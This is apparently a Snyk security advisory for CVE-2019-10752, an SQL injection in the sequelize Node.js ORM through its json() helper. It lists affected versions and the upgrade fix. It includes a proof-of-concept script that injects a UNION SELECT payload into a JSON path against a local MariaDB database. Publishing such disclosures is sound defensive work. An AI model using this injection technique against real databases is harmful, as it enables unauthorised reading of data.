SQL Injection Affecting sequelize package, versions >=4.0.0 <4.44.3>=5.0.0-0 <5.15.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.27% (68th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SEQUELIZE-459751
  • published19 Aug 2019
  • disclosed18 Aug 2019
  • creditSnyk Security Team

Introduced: 18 Aug 2019

CVE-2019-10752  (opens in a new tab)
CWE-89  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade sequelize to version 4.44.3, 5.15.1 or higher.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to sequelize.json() helper function not escaping values properly when formatting sub paths for JSON queries for MySQL, MariaDB and SQLite.

PoC by Snyk

const Sequelize = require('./');
const sequelize = new Sequelize('mysql', 'root', 'root', {
  host: 'localhost',
  port: '3306',
  dialect: 'mariadb',
  logging: console.log,
});

class Project extends Sequelize.Model {}

Project.init({
  name: Sequelize.STRING,
  target: Sequelize.JSON,
}, {
  sequelize,
  tableName: 'projects',
});

(async () => {
  await sequelize.sync();

  console.log(await Project.findAll({
    where: {name: sequelize.json("target.id')) = 10 UNION SELECT VERSION(); -- ", 10)},
    attributes: ['name'],
    raw: true,
  }));
})();

CVSS Scores

version 3.1